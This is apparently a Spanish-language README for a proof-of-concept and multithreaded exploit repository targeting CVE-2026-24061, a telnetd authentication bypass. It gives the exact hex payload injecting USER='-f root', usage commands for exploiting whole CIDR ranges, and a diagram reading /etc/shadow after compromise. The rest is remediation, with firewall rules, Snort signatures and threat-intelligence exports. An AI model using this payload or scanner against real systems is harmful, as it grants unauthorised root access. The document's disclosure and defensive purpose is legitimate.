
GNU InetUtils telnetd - Root remoto no autenticado mediante inyección de variable NEW-ENVIRON.
GNU InetUtils telnetd - Root Remoto No Autenticado mediante Inyección de Variable NEW-ENVIRON
Resumen - Análisis Técnico - Versiones Afectadas - Uso - Remediación - Referencias
CVE-2026-24061 es una vulnerabilidad crítica de bypass de autenticación en el demonio telnetd distribuido como parte de GNU InetUtils. El fallo reside en el manejo de la opción Telnet NEW-ENVIRON (RFC 1572) durante el handshake inicial del protocolo.
La causa raíz es la falta de saneamiento de las variables de entorno proporcionadas por el cliente antes de pasarlas al programa login(1). Cuando el demonio Telnet recibe un paquete de sub-negociación que contiene la variable con el valor , pasa este valor sin sanear directamente al binario del sistema.
NEW-ENVIRON ISUSER-f rootloginEn sistemas donde login acepta la bandera -f (forzar inicio de sesión sin verificación de contraseña), esto resulta en una sesión root no autenticada otorgada al atacante remoto.
Esta clase de vulnerabilidad tiene precedente histórico: CVE-2001-0797 en SysV telnetd y el conocido bypass -f de Linux telnetd de 1994 explotaron el mismo fallo fundamental de no sanear argumentos provenientes de variables de entorno pasados a binarios privilegiados.
No se requieren credenciales. No se necesita acceso previo. Una sola secuencia de paquetes de red logra root.
GNU InetUtils telnetd procesa la sub-negociación NEW-ENVIRON (código de opción 0x27, según RFC 1572) para recopilar variables de entorno proporcionadas por el cliente. Estas variables se ensamblan en un vector de argumentos y se pasan a execve(2) al invocar login(1).
La vulnerabilidad se desencadena de la siguiente manera:
IAC DO NEW-ENVIRON, solicitando variables de entorno al cliente.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd construye la invocación de login como login -f root.login(1) interpreta -f como "forzar inicio de sesión, omitir autenticación" e inicia sesión con el usuario especificado (root) sin requerir contraseña.| Paso | Dirección | Bytes Telnet (hex) | Significado |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f rootEl binario login(1) en muchos sistemas Linux acepta la bandera -f <usuario> para inicios de sesión "pre-autenticados", usada históricamente por multiplexores de terminal y rlogin. Cuando telnetd construye su llamada exec y no elimina guiones iniciales ni valida cadenas similares a opciones en los valores de variables de entorno, pasa inadvertidamente banderas controladas por el atacante directamente a login.
La llamada efectiva se convierte en:
execve("/bin/login", ["login", "-f", "root"], envp);
Atacante telnetd vulnerable (puerto 23)
| |
|------- TCP SYN (puerto 23) ---------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd llama: login -f root] |
| |
|<------ Prompt de shell root (#) ------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root contenido /etc/shadow ----|
Requisitos previos:
telnetd (TCP/23 abierto)inetutilslogin(1) soporta la bandera -f (estándar en la mayoría de distribuciones Linux)| Software | Versiones Afectadas | Estado |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (versión parcheada específica por determinar) | Vulnerable |
| Distribuciones que incluyen GNU inetutils sin parchear | Varias | Consultar aviso del proveedor |
Verifique si su distribución incluye una versión parcheada. Muchos sistemas modernos tienen Telnet deshabilitado por defecto; la exposición requiere un
telnetdejecutándose explícitamente.
| Métrica | Valor |
|---|---|
| Puntuación Base CVSS v3.1 | 9.8 (Crítica) |
| Vector de Ataque | Red |
| Complejidad de Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Alcance | Sin cambios |
| Impacto de Confidencialidad | Alto |
| Impacto de Integridad | Alto |
| Impacto de Disponibilidad | Alto |
| Cadena de Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Táctica | Técnica | Relevancia |
|---|---|---|---|
| T1190 | Acceso Inicial | Explotar Aplicación Expuesta al Público | Explotación directa de telnetd a través de la red |
| T1059 | Ejecución | Intérprete de Comandos y Scripts | Ejecución de shell post-explotación |
| T1078.004 | Escalada de Privilegios / Evasión de Defensa | Cuentas Válidas: Cuentas Locales | El bypass de autenticación produce una sesión root válida |
| T1548 | Escalada de Privilegios | Abuso de Mecanismo de Control de Elevación | Bandera login -f abusada para omitir PAM/autenticación |
| T1046 | Descubrimiento | Descubrimiento de Servicios de Red | Componente de escaneo masivo del PoC |
Requisitos: Python 3 (solo biblioteca estándar, cero dependencias externas).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
No se necesita pip install. Ambos scripts usan únicamente la biblioteca estándar de Python.
poc_cve_2026_24061.py # PoC simple (~100 líneas) - comprender la vulnerabilidad
cve_2026_24061.py # Exploit industrializado - multihilo, CIDR, exportación CSV/JSON
scripts/
generate_signatures.py # Genera automáticamente reglas Snort/Suricata + Sigma desde el payload
generate_misp_event.py # Genera evento JSON importable en MISP
generate_stix_bundle.py # Genera bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Reglas de detección Snort/Suricata (generadas automáticamente)
sigma.yml # Regla Sigma para SIEM (generada automáticamente)
indicators/
misp_event.json # Evento MISP - importar vía Events > Add Event > Import
stix_bundle.json # Bundle STIX 2.1 - 11 objetos (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: Mínimo, legible, educativo. Un objetivo, una función, cero abstracción. Léalo para entender exactamente cómo funciona la vulnerabilidad a nivel de protocolo.cve_2026_24061.py: Exploit industrializado para compromisos de pentesting. Multihilo, soporta rangos CIDR, entrada por archivo, exportación CSV/JSON, modo silencioso, usuarios personalizados.Explota un solo host. El código es deliberadamente mínimo para que pueda leerlo de principio a fin y comprender toda la cadena de ataque.
# Uso básico
python3 poc_cve_2026_24061.py 192.168.1.100
# Puerto personalizado
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| Parámetro | Predeterminado | Descripción |
|---|---|---|
-t / --target | - | IP única, nombre de host o rango CIDR |
-f / --file | - | Archivo con IPs/CIDRs (uno por línea, comentarios con #) |
-T / --threads | 10 | Número de hilos concurrentes |
-p / --port | 23 | Puerto Telnet objetivo |
--timeout | 5 | Tiempo de espera del socket en segundos |
--user | root | Nombre de usuario para el payload -f |
-o / --output | - | Exportar resultados a archivo CSV |
--json | - | Exportar resultados a archivo JSON |
-q / --quiet | off | Modo silencioso: solo imprime objetivos vulnerables (uno por línea) |
--no-color | off | Deshabilitar salida de color ANSI |
| Estado | Significado |
|---|---|
[VULN] | Host confirmado vulnerable - shell root obtenido |
[SAFE] | El host respondió pero la autenticación no fue omitida |
[CLOS] | Puerto cerrado o conexión rechazada |
[ERR ] | Error de socket o protocolo durante el escaneo |
Columnas de salida CSV: ip:port, status, message
El script implementa la máquina de estados completa de la negociación Telnet NEW-ENVIRON nativamente en Python sin depender de bibliotecas Telnet externas:
IAC entrantes y responde a DO NEW-ENVIRON con WILL NEW-ENVIRON.SB NEW-ENVIRON SEND del servidor, transmite el payload inyectado (USER = "-f root").uid=0(root) o un prompt de shell (#), en ausencia de Login incorrect o Password:.id\n y verifica uid=0(root) en la respuesta como confirmación secundaria.Los resultados se registran en stdout con etiquetas de estado codificadas por color. La exportación CSV opcional registra todos los hallazgos para post-procesamiento.
Deshabilitar Telnet por completo. Telnet transmite todos los datos en texto claro. Reemplácelo con SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
Aplicar el parche del proveedor. Instale la versión parcheada de inetutils de su distribución cuando esté disponible.
Bloquear TCP/23 en el perímetro. Aplique reglas de firewall para denegar conexiones Telnet entrantes.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| Control | Descripción |
|---|---|
| Segmentación de red | Restringir Telnet a redes de gestión aisladas si no puede deshabilitarse |
| Endurecimiento PAM | Revisar la configuración de PAM; deshabilitar la pre-autenticación -f donde no sea requerida por login.defs |
| Firmas IDS/IPS | Detectar patrones NEW-ENVIRON IS VAR USER VALUE -f en tráfico Telnet |
| Registro de auditoría | Monitorear auth.log / secure para inicios de sesión root inesperados vía login |
| Escaneo de vulnerabilidades | Ejecutar escaneos autenticados (OpenVAS, Nessus) para identificar inetutils sin parchear |
Esqueleto de regla Snort/Suricata para detectar el exploit en tránsito:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
Este repositorio incluye artefactos de inteligencia de amenazas pre-generados, listos para importar en su stack SOC/CTI. Son generados automáticamente por CI desde el payload real del exploit - si el payload cambia, los artefactos se actualizan.
Importe indicators/misp_event.json directamente en cualquier instancia MISP:
Events > Add Event > Import from... > JSON
El evento contiene: ID CVE, vector CVSS, firma Snort, payload en hex, etiquetas MITRE ATT&CK (T1190, T1548, T1059), CPE y referencias externas.
Importe indicators/stix_bundle.json en OpenCTI, servidores TAXII o cualquier consumidor STIX 2.1.
El bundle contiene 11 objetos: Vulnerability, Indicator (patrón de red), 3 Attack Patterns (MITRE), Course of Action (remediación), Identity y Relationships que los vinculan.
Reglas pre-construidas en signatures/:
snort.rules - 3 reglas Snort/Suricata (intento de exploit, inyección genérica -f, shell root post-explotación)sigma.yml - Regla Sigma para correlación SIEMSi modifica el payload del exploit, regenere todos los artefactos:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
Esta herramienta se proporciona únicamente para auditorías de seguridad autorizadas, investigación académica y fines educativos. El uso contra sistemas sin permiso escrito explícito del propietario del sistema es ilegal según las leyes aplicables de fraude y abuso informático (incluidas, entre otras, la CFAA, la Computer Misuse Act y legislación equivalente). El autor no acepta responsabilidad alguna por uso no autorizado o malicioso.